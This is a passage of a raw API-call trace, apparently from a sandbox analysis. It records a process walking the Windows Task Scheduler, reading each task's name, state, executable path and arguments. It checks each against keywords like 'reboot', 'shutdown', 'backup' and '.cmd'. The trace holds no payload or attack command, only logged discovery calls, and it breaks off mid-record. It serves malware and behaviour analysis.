0x0 [0041.346] wcsstr (_Str="reindexsearchroot", _SubStr="backup") returned 0x0 [0041.346] wcsstr (_Str="reindexsearchroot", _SubStr=".cmd") returned 0x0 [0041.346] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d8890) returned 1 [0041.346] IRegisteredTask:get_Definition (in: This=0x6efe40, ppDefinition=0x2ffaec | out: ppDefinition=0x2ffaec*=0x6eff00) returned 0x0 [0041.373] ITaskDefinition:get_Actions (in: This=0x6eff00, ppActions=0x2ffaf8 | out: ppActions=0x2ffaf8*=0x6eff78) returned 0x0 [0041.373] IActionCollection:get_Count (in: This=0x6eff78, pCount=0x2ffacc | out: pCount=0x2ffacc*=1) returned 0x0 [0041.373] IActionCollection:get_Item (in: This=0x6eff78, index=1, ppAction=0x2ffafc | out: ppAction=0x2ffafc*=0x2650708) returned 0x0 [0041.373] IAction:get_Type (in: This=0x2650708, pType=0x2ffac8 | out: pType=0x2ffac8*=0) returned 0x0 [0041.373] IUnknown:QueryInterface (in: This=0x2650708, riid=0x86064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x2ffb00 | out: ppvObject=0x2ffb00*=0x2650708) returned 0x0 [0041.373] IExecAction:get_Path (in: This=0x2650708, pPath=0x2ffad8 | out: pPath=0x2ffad8*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0041.373] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x42) returned 0x4f7148 [0041.373] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0041.373] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0041.373] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0041.373] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0041.373] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0041.373] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0041.373] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0041.373] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f7148) returned 1 [0041.373] IExecAction:get_Arguments (in: This=0x2650708, pArgument=0x2ffad4 | out: pArgument=0x2ffad4*="/DoReindexSearchRoot") returned 0x0 [0041.373] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2a) returned 0x4daa68 [0041.373] wcsstr (_Str="/doreindexsearchroot", _SubStr="reboot") returned 0x0 [0041.373] wcsstr (_Str="/doreindexsearchroot", _SubStr="restart") returned 0x0 [0041.373] wcsstr (_Str="/doreindexsearchroot", _SubStr="shutdown") returned 0x0 [0041.373] wcsstr (_Str="/doreindexsearchroot", _SubStr="logoff") returned 0x0 [0041.373] wcsstr (_Str="/doreindexsearchroot", _SubStr=".bat") returned 0x0 [0041.373] wcsstr (_Str="/doreindexsearchroot", _SubStr="backup") returned 0x0 [0041.373] wcsstr (_Str="/doreindexsearchroot", _SubStr=".cmd") returned 0x0 [0041.373] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4daa68) returned 1 [0041.374] IUnknown:Release (This=0x2650708) returned 0x2 [0041.374] IUnknown:Release (This=0x2650708) returned 0x1 [0041.374] IUnknown:Release (This=0x6eff78) returned 0x1 [0041.374] IUnknown:Release (This=0x6eff00) returned 0x0 [0041.374] IUnknown:Release (This=0x6efe40) returned 0x0 [0041.374] IRegisteredTaskCollection:get_Item (in: This=0x2650b08, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x14, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x6efe40) returned 0x0 [0041.374] IRegisteredTask:get_Name (in: This=0x6efe40, pName=0x2ffadc | out: pName=0x2ffadc*="SqlLiteRecoveryTask") returned 0x0 [0041.374] IRegisteredTask:get_State (in: This=0x6efe40, pState=0x2ffae0 | out: pState=0x2ffae0*=3) returned 0x0 [0041.376] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x28) returned 0x4d8890 [0041.376] wcsstr (_Str="sqlliterecoverytask", _SubStr="reboot") returned 0x0 [0041.376] wcsstr (_Str="sqlliterecoverytask", _SubStr="restart") returned 0x0 [0041.376] wcsstr (_Str="sqlliterecoverytask", _SubStr="shutdown") returned 0x0 [0041.376] wcsstr (_Str="sqlliterecoverytask", _SubStr="logoff") returned 0x0 [0041.376] wcsstr (_Str="sqlliterecoverytask", _SubStr=".bat") returned 0x0 [0041.376] wcsstr (_Str="sqlliterecoverytask", _SubStr="backup") returned 0x0 [0041.376] wcsstr (_Str="sqlliterecoverytask", _SubStr=".cmd") returned 0x0 [0041.376] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d8890) returned 1 [0041.376] IRegisteredTask:get_Definition (in: This=0x6efe40, ppDefinition=0x2ffaec | out: ppDefinition=0x2ffaec*=0x6eff00) returned 0x0 [0041.384] ITaskDefinition:get_Actions (in: This=0x6eff00, ppActions=0x2ffaf8 | out: ppActions=0x2ffaf8*=0x6eff78) returned 0x0 [0041.384] IActionCollection:get_Count (in: This=0x6eff78, pCount=0x2ffacc | out: pCount=0x2ffacc*=2) returned 0x0 [0041.384] IActionCollection:get_Item (in: This=0x6eff78, index=1, ppAction=0x2ffafc | out: ppAction=0x2ffafc*=0x2650a68) returned 0x0 [0041.384] IAction:get_Type (in: This=0x2650a68, pType=0x2ffac8 | out: pType=0x2ffac8*=0) returned 0x0 [0041.384] IUnknown:QueryInterface (in: This=0x2650a68, riid=0x86064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x2ffb00 | out: ppvObject=0x2ffb00*=0x2650a68) returned 0x0 [0041.384] IExecAction:get_Path (in: This=0x2650a68, pPath=0x2ffad8 | out: pPath=0x2ffad8*="%SystemRoot%\\ehome\\mcupdate.exe") returned 0x0 [0041.385] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x40) returned 0x4d28d0 [0041.385] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="reboot") returned 0x0 [0041.385] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="restart") returned 0x0 [0041.385] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="shutdown") returned 0x0 [0041.385] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="logoff") returned 0x0 [0041.385] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".bat") returned 0x0 [0041.385] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="backup") returned 0x0 [0041.385] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".cmd") returned 0x0 [0041.385] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d28d0) returned 1 [0041.385] IExecAction:get_Arguments (in: This=0x2650a68, pArgument=0x2ffad4 | out: pArgument=0x2ffad4*="-SqlLiteRecoveryTask") returned 0x0 [0041.385] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2a) returned 0x4daa68 [0041.385] wcsstr (_Str="-sqlliterecoverytask", _SubStr="reboot") returned 0x0 [0041.385] wcsstr (_Str="-sqlliterecoverytask", _SubStr="restart") returned 0x0 [0041.385] wcsstr (_Str="-sqlliterecoverytask", _SubStr="shutdown") returned 0x0 [0041.385] wcsstr (_Str="-sqlliterecoverytask", _SubStr="logoff") returned 0x0 [0041.385] wcsstr (_Str="-sqlliterecoverytask", _SubStr=".bat") returned 0x0 [0041.385] wcsstr (_Str="-sqlliterecoverytask", _SubStr="backup") returned 0x0 [0041.386] wcsstr (_Str="-sqlliterecoverytask", _SubStr=".cmd") returned 0x0 [0041.386] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4daa68) returned 1 [0041.386] IUnknown:Release (This=0x2650a68) returned 0x2 [0041.386] IUnknown:Release (This=0x2650a68) returned 0x1 [0041.386] IActionCollection:get_Item (in: This=0x6eff78, index=2, ppAction=0x2ffafc | out: ppAction=0x2ffafc*=0x2652c10) returned 0x0 [0041.386] IAction:get_Type (in: This=0x2652c10, pType=0x2ffac8 | out: pType=0x2ffac8*=5) returned 0x0 [0041.386] IUnknown:Release (This=0x2652c10) returned 0x1 [0041.386] IUnknown:Release (This=0x6eff78) returned 0x1 [0041.386] IUnknown:Release (This=0x6eff00) returned 0x0 [0041.386] IUnknown:Release (This=0x6efe40) returned 0x0 [0041.386] IRegisteredTaskCollection:get_Item (in: This=0x2650b08, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x15, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x2650a38) returned 0x0 [0041.386] IRegisteredTask:get_Name (in: This=0x2650a38, pName=0x2ffadc | out: pName=0x2ffadc*="UpdateRecordPath") returned 0x0 [0041.386] IRegisteredTask:get_State (in: This=0x2650a38, pState=0x2ffae0 | out: pState=0x2ffae0*=3) returned 0x0 [0041.388] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x22) returned 0x4d8890 [0041.388] wcsstr (_Str="updaterecordpath", _SubStr="reboot") returned 0x0 [0041.388] wcsstr (_Str="updaterecordpath", _SubStr="restart") returned 0x0 [0041.388] wcsstr (_Str="updaterecordpath", _SubStr="shutdown") returned 0x0 [0041.388] wcsstr (_Str="updaterecordpath", _SubStr="logoff") returned 0x0 [0041.388] wcsstr (_Str="updaterecordpath", _SubStr=".bat") returned 0x0 [0041.388] wcsstr (_Str="updaterecordpath", _SubStr="backup") returned 0x0 [0041.388] wcsstr (_Str="updaterecordpath", _SubStr=".cmd") returned 0x0 [0041.388] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d8890) returned 1 [0041.388] IRegisteredTask:get_Definition (in: This=0x2650a38, ppDefinition=0x2ffaec | out: ppDefinition=0x2ffaec*=0x6efeb8) returned 0x0 [0041.397] ITaskDefinition:get_Actions (in: This=0x6efeb8, ppActions=0x2ffaf8 | out: ppActions=0x2ffaf8*=0x6eff30) returned 0x0 [0041.397] IActionCollection:get_Count (in: This=0x6eff30, pCount=0x2ffacc | out: pCount=0x2ffacc*=1) returned 0x0 [0041.397] IActionCollection:get_Item (in: This=0x6eff30, index=1, ppAction=0x2ffafc | out: ppAction=0x2ffafc*=0x2650158) returned 0x0 [0041.397] IAction:get_Type (in: This=0x2650158, pType=0x2ffac8 | out: pType=0x2ffac8*=0) returned 0x0 [0041.397] IUnknown:QueryInterface (in: This=0x2650158, riid=0x86064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x2ffb00 | out: ppvObject=0x2ffb00*=0x2650158) returned 0x0 [0041.397] IExecAction:get_Path (in: This=0x2650158, pPath=0x2ffad8 | out: pPath=0x2ffad8*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0041.397] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x42) returned 0x4f7148 [0041.397] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0041.397] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0041.397] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0041.397] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0041.397] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0041.397] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0041.397] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0041.397] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f7148) returned 1 [0041.397] IExecAction:get_Arguments (in: This=0x2650158, pArgument=0x2ffad4 | out: pArgument=0x2ffad4*="/DoUpdateRecordPath $(Arg0)") returned 0x0 [0041.397] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x38) returned 0x4d9c28 [0041.397] wcsstr (_Str="/doupdaterecordpath $(arg0)", _SubStr="reboot") returned 0x0 [0041.397] wcsstr (_Str="/doupdaterecordpath $(arg0)", _SubStr="restart") returned 0x0 [0041.397] wcsstr (_Str="/doupdaterecordpath $(arg0)", _SubStr="shutdown") returned 0x0 [0041.397] wcsstr (_Str="/doupdaterecordpath $(arg0)", _SubStr="logoff") returned 0x0 [0041.397] wcsstr (_Str="/doupdaterecordpath $(arg0)", _SubStr=".bat") returned 0x0 [0041.397] wcsstr (_Str="/doupdaterecordpath $(arg0)", _SubStr="backup") returned 0x0 [0041.397] wcsstr (_Str="/doupdaterecordpath $(arg0)", _SubStr=".cmd") returned 0x0 [0041.397] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d9c28) returned 1 [0041.398] IUnknown:Release (This=0x2650158) returned 0x2 [0041.398] IUnknown:Release (This=0x2650158) returned 0x1 [0041.398] IUnknown:Release (This=0x6eff30) returned 0x1 [0041.398] IUnknown:Release (This=0x6efeb8) returned 0x0 [0041.398] IUnknown:Release (This=0x2650a38) returned 0x0 [0041.398] IUnknown:Release (This=0x2650b08) returned 0x0 [0041.398] ITaskFolder:GetFolders (in: This=0x2651fa0, flags=0, ppFolders=0x2ffb30 | out: ppFolders=0x2ffb30*=0x2650a38) returned 0x0 [0041.399] ITaskFolderCollection:get_Count (in: This=0x2650a38, pCount=0x2ffb24 | out: pCount=0x2ffb24*=1) returned 0x0 [0041.399] ITaskFolderCollection:get_Item (in: This=0x2650a38, index=0x2ffb00*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppFolder=0x2ffb28 | out: ppFolder=0x2ffb28*=0x2650a80) returned 0x0 [0041.399] ITaskFolder:GetTasks (in: This=0x2650a80, flags=0, ppTasks=0x2ffac8 | out: ppTasks=0x2ffac8*=0x2650b50) returned 0x0 [0041.399] IRegisteredTaskCollection:get_Count (in: This=0x2650b50, pCount=0x2ffaa4 | out: pCount=0x2ffaa4*=0) returned 0x0 [0041.399] IUnknown:Release (This=0x2650b50) returned 0x0 [0041.399] ITaskFolder:GetFolders (in: This=0x2650a80, flags=0, ppFolders=0x2ffb04 | out: ppFolders=0x2ffb04*=0x2650b50) returned 0x0 [0041.399] ITaskFolderCollection:get_Count (in: This=0x2650b50, pCount=0x2ffaf8 | out: pCount=0x2ffaf8*=0) returned 0x0 [0041.399] IUnknown:Release (This=0x2650b50) returned 0x0 [0041.400] TaskScheduler:IUnknown:Release (This=0x2650a80) returned 0x0 [0041.400] IUnknown:Release (This=0x2650a38) returned 0x0 [0041.400] TaskScheduler:IUnknown:Release (This=0x2651fa0) returned 0x0 [0041.400] ITaskFolderCollection:get_Item (in: This=0x6efd18, index=0x2ffb2c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xe, varVal2=0x0), ppFolder=0x2ffb54 | out: ppFolder=0x2ffb54*=0x2650a38) returned 0x0 [0041.400] ITaskFolder:GetTasks (in: This=0x2650a38, flags=0, ppTasks=0x2ffaf4 | out: ppTasks=0x2ffaf4*=0x2650a68) returned 0x0 [0041.411] IRegisteredTaskCollection:get_Count (in: This=0x2650a68, pCount=0x2ffad0 | out: pCount=0x2ffad0*=0) returned 0x0 [0041.411] IUnknown:Release (This=0x2650a68) returned 0x0 [0041.411] ITaskFolder:GetFolders (in: This=0x2650a38, flags=0, ppFolders=0x2ffb30 | out: ppFolders=0x2ffb30*=0x2650a68) returned 0x0 [0041.411] ITaskFolderCollection:get_Count (in: This=0x2650a68, pCount=0x2ffb24 | out: pCount=0x2ffb24*=0) returned 0x0 [0041.411] IUnknown:Release (This=0x2650a68) returned 0x0 [0041.411] TaskScheduler:IUnknown:Release (This=0x2650a38) returned 0x0 [0041.411] ITaskFolderCollection:get_Item (in: This=0x6efd18, index=0x2ffb2c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf, varVal2=0x0), ppFolder=0x2ffb54 | out: ppFolder=0x2ffb54*=0x2650a38) returned 0x0 [0041.411] ITaskFolder:GetTasks (in: This=0x2650a38, flags=0, ppTasks=0x2ffaf4 | out: ppTasks=0x2ffaf4*=0x2650ac0) returned 0x0 [0041.412] IRegisteredTaskCollection:get_Count (in: This=0x2650ac0, pCount=0x2ffad0 | out: pCount=0x2ffad0*=1) returned 0x0 [0041.412] IRegisteredTaskCollection:get_Item (in: This=0x2650ac0, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x2650b48) returned 0x0 [0041.412] IRegisteredTask:get_Name (in: This=0x2650b48, pName=0x2ffadc | out: pName=0x2ffadc*="HotStart") returned 0x0 [0041.412] IRegisteredTask:get_State (in: This=0x2650b48, pState=0x2ffae0 | out: pState=0x2ffae0*=3) returned 0x0 [0041.415] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x12) returned 0x4f6928 [0041.415] wcsstr (_Str="hotstart", _SubStr="reboot") returned 0x0 [0041.415] wcsstr (_Str="hotstart", _SubStr="restart") returned 0x0 [0041.415] wcsstr (_Str="hotstart", _SubStr="shutdown") returned 0x0 [0041.415] wcsstr (_Str="hotstart", _SubStr="logoff") returned 0x0 [0041.415] wcsstr (_Str="hotstart", _SubStr=".bat") returned 0x0 [0041.415] wcsstr (_Str="hotstart", _SubStr="backup") returned 0x0 [0041.415] wcsstr (_Str="hotstart", _SubStr=".cmd") returned 0x0 [0041.415] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0041.415] IRegisteredTask:get_Definition (in: This=0x2650b48, ppDefinition=0x2ffaec | out: ppDefinition=0x2ffaec*=0x6efe50) returned 0x0 [0042.427] ITaskDefinition:get_Actions (in: This=0x6efe50, ppActions=0x2ffaf8 | out: ppActions=0x2ffaf8*=0x6efec8) returned 0x0 [0042.427] IActionCollection:get_Count (in: This=0x6efec8, pCount=0x2ffacc | out: pCount=0x2ffacc*=1) returned 0x0 [0042.427] IActionCollection:get_Item (in: This=0x6efec8, index=1, ppAction=0x2ffafc | out: ppAction=0x2ffafc*=0x2652c10) returned 0x0 [0042.427] IAction:get_Type (in: This=0x2652c10, pType=0x2ffac8 | out: pType=0x2ffac8*=5) returned 0x0 [0042.427] IUnknown:Release (This=0x2652c10) returned 0x1 [0042.427] IUnknown:Release (This=0x6efec8) returned 0x1 [0042.427] IUnknown:Release (This=0x6efe50) returned 0x0 [0042.427] IUnknown:Release (This=0x2650b48) returned 0x0 [0042.427] IUnknown:Release (This=0x2650ac0) returned 0x0 [0042.427] ITaskFolder:GetFolders (in: This=0x2650a38, flags=0, ppFolders=0x2ffb30 | out: ppFolders=0x2ffb30*=0x2650ac0) returned 0x0 [0042.724] ITaskFolderCollection:get_Count (in: This=0x2650ac0, pCount=0x2ffb24 | out: pCount=0x2ffb24*=0) returned 0x0 [0042.724] IUnknown:Release (This=0x2650ac0) returned 0x0 [0042.724] TaskScheduler:IUnknown:Release (This=0x2650a38) returned 0x0 [0042.724] ITaskFolderCollection:get_Item (in: This=0x6efd18, index=0x2ffb2c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x10, varVal2=0x0), ppFolder=0x2ffb54 | out: ppFolder=0x2ffb54*=0x2650a38) returned 0x0 [0042.724] ITaskFolder:GetTasks (in: This=0x2650a38, flags=0, ppTasks=0x2ffaf4 | out: ppTasks=0x2ffaf4*=0x2650ac0) returned 0x0 [0042.761] IRegisteredTaskCollection:get_Count (in: This=0x2650ac0, pCount=0x2ffad0 | out: pCount=0x2ffad0*=1) returned 0x0 [0042.761] IRegisteredTaskCollection:get_Item (in: This=0x2650ac0, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x2650b38) returned 0x0 [0042.761] IRegisteredTask:get_Name (in: This=0x2650b38, pName=0x2ffadc | out: pName=0x2ffadc*="LPRemove") returned 0x0 [0042.761] IRegisteredTask:get_State (in: This=0x2650b38, pState=0x2ffae0 | out: pState=0x2ffae0*=2) returned 0x0 [0042.764] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x12) returned 0x4f6948 [0042.764] wcsstr (_Str="lpremove", _SubStr="reboot") returned 0x0 [0042.764] wcsstr (_Str="lpremove", _SubStr="restart") returned 0x0 [0042.764] wcsstr (_Str="lpremove", _SubStr="shutdown") returned 0x0 [0042.764] wcsstr (_Str="lpremove", _SubStr="logoff") returned 0x0 [0042.764] wcsstr (_Str="lpremove", _SubStr=".bat") returned 0x0 [0042.764] wcsstr (_Str="lpremove", _SubStr="backup") returned 0x0 [0042.764] wcsstr (_Str="lpremove", _SubStr=".cmd") returned 0x0 [0042.764] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6948) returned 1 [0042.764] IRegisteredTask:get_Definition (in: This=0x2650b38, ppDefinition=0x2ffaec | out: ppDefinition=0x2ffaec*=0x2652e78) returned 0x0 [0043.621] ITaskDefinition:get_Actions (in: This=0x2652e78, ppActions=0x2ffaf8 | out: ppActions=0x2ffaf8*=0x2652ef0) returned 0x0 [0043.621] IActionCollection:get_Count (in: This=0x2652ef0, pCount=0x2ffacc | out: pCount=0x2ffacc*=1) returned 0x0 [0043.621] IActionCollection:get_Item (in: This=0x2652ef0, index=1, ppAction=0x2ffafc | out: ppAction=0x2ffafc*=0x2650048) returned 0x0 [0043.621] IAction:get_Type (in: This=0x2650048, pType=0x2ffac8 | out: pType=0x2ffac8*=0) returned 0x0 [0043.621] IUnknown:QueryInterface (in: This=0x2650048, riid=0x86064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x2ffb00 | out: ppvObject=0x2ffb00*=0x2650048) returned 0x0 [0043.621] IExecAction:get_Path (in: This=0x2650048, pPath=0x2ffad8 | out: pPath=0x2ffad8*="%windir%\\system32\\lpremove.exe") returned 0x0 [0043.621] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x3e) returned 0x4d28d0 [0043.621] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr="reboot") returned 0x0 [0043.621] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr="restart") returned 0x0 [0043.621] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr="shutdown") returned 0x0 [0043.621] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr="logoff") returned 0x0 [0043.621] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr=".bat") returned 0x0 [0043.621] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr="backup") returned 0x0 [0043.621] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr=".cmd") returned 0x0 [0043.621] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d28d0) returned 1 [0043.621] IExecAction:get_Arguments (in: This=0x2650048, pArgument=0x2ffad4 | out: pArgument=0x2ffad4*=0x0) returned 0x0 [0043.622] IUnknown:Release (This=0x2650048) returned 0x2 [0043.622] IUnknown:Release (This=0x2650048) returned 0x1 [0043.622] IUnknown:Release (This=0x2652ef0) returned 0x1 [0043.622] IUnknown:Release (This=0x2652e78) returned 0x0 [0043.622] IUnknown:Release (This=0x2650b38) returned 0x0 [0043.622] IUnknown:Release (This=0x2650ac0) returned 0x0 [0043.622] ITaskFolder:GetFolders (in: This=0x2650a38, flags=0, ppFolders=0x2ffb30 | out: ppFolders=0x2ffb30*=0x2650ac0) returned 0x0 [0043.623] ITaskFolderCollection:get_Count (in: This=0x2650ac0, pCount=0x2ffb24 | out: pCount=0x2ffb24*=0) returned 0x0 [0043.623] IUnknown:Release (This=0x2650ac0) returned 0x0 [0043.623] TaskScheduler:IUnknown:Release (This=0x2650a38) returned 0x0 [0043.623] ITaskFolderCollection:get_Item (in: This=0x6efd18, index=0x2ffb2c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11, varVal2=0x0), ppFolder=0x2ffb54 | out: ppFolder=0x2ffb54*=0x2650a38) returned 0x0 [0043.623] ITaskFolder:GetTasks (in: This=0x2650a38, flags=0, ppTasks=0x2ffaf4 | out: ppTasks=0x2ffaf4*=0x2650ac0) returned 0x0 [0043.625] IRegisteredTaskCollection:get_Count (in: This=0x2650ac0, pCount=0x2ffad0 | out: pCount=0x2ffad0*=1) returned 0x0 [0043.625] IRegisteredTaskCollection:get_Item (in: This=0x2650ac0, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x2650b48) returned 0x0 [0043.625] IRegisteredTask:get_Name (in: This=0x2650b48, pName=0x2ffadc | out: pName=0x2ffadc*="SystemSoundsService") returned 0x0 [0043.625] IRegisteredTask:get_State (in: This=0x2650b48, pState=0x2ffae0 | out: pState=0x2ffae0*=4) returned 0x0 [0043.627] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x28) returned 0x4d8890 [0043.627] wcsstr (_Str="systemsoundsservice", _SubStr="reboot") returned 0x0 [0043.627] wcsstr (_Str="systemsoundsservice", _SubStr="restart") returned 0x0 [0043.627] wcsstr (_Str="systemsoundsservice", _SubStr="shutdown") returned 0x0 [0043.627] wcsstr (_Str="systemsoundsservice", _SubStr="logoff") returned 0x0 [0043.627] wcsstr (_Str="systemsoundsservice", _SubStr=".bat") returned 0x0 [0043.628] wcsstr (_Str="systemsoundsservice", _SubStr="backup") returned 0x0 [0043.628] wcsstr (_Str="systemsoundsservice", _SubStr=".cmd") returned 0x0 [0043.628] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d8890) returned 1 [0043.628] IRegisteredTask:get_Definition (in: This=0x2650b48, ppDefinition=0x2ffaec | out: ppDefinition=0x2ffaec*=0x2652ea8) returned 0x0 [0044.619] ITaskDefinition:get_Actions (in: This=0x2652ea8, ppActions=0x2ffaf8 | out: ppActions=0x2ffaf8*=0x2652f20) returned 0x0 [0044.619] IActionCollection:get_Count (in: This=0x2652f20, pCount=0x2ffacc | out: pCount=0x2ffacc*=1) returned 0x0 [0044.619] IActionCollection:get_Item (in: This=0x2652f20, index=1, ppAction=0x2ffafc | out: ppAction=0x2ffafc*=0x2650088) returned 0x0 [0044.619] IAction:get_Type (in: This=0x2650088, pType=0x2ffac8 | out: pType=0x2ffac8*=5) returned 0x0 [0044.619] IUnknown:Release (This=0x2650088) returned 0x1 [0044.619] IUnknown:Release (This=0x2652f20) returned 0x1 [0044.619] IUnknown:Release (This=0x2652ea8) returned 0x0 [0044.619] IUnknown:Release (This=0x2650b48) returned 0x0 [0044.619] IUnknown:Release (This=0x2650ac0) returned 0x0 [0044.619] ITaskFolder:GetFolders (in: This=0x2650a38, flags=0, ppFolders=0x2ffb30 | out: ppFolders=0x2ffb30*=0x2650ac0) returned 0x0 [0044.629] ITaskFolderCollection:get_Count (in: This=0x2650ac0, pCount=0x2ffb24 | out: pCount=0x2ffb24*=0) returned 0x0 [0044.629] IUnknown:Release (This=0x2650ac0) returned 0x0 [0044.629] TaskScheduler:IUnknown:Release (This=0x2650a38) returned 0x0 [0044.629] ITaskFolderCollection:get_Item (in: This=0x6efd18, index=0x2ffb2c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x12, varVal2=0x0), ppFolder=0x2ffb54 | out: ppFolder=0x2ffb54*=0x2650a38) returned 0x0 [0044.630] ITaskFolder:GetTasks (in: This=0x2650a38, flags=0, ppTasks=0x2ffaf4 | out: ppTasks=0x2ffaf4*=0x2650ac0) returned 0x0 [0044.630] IRegisteredTaskCollection:get_Count (in: This=0x2650ac0, pCount=0x2ffad0 | out: pCount=0x2ffad0*=1) returned 0x0 [0044.630] IRegisteredTaskCollection:get_Item (in: This=0x2650ac0, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: 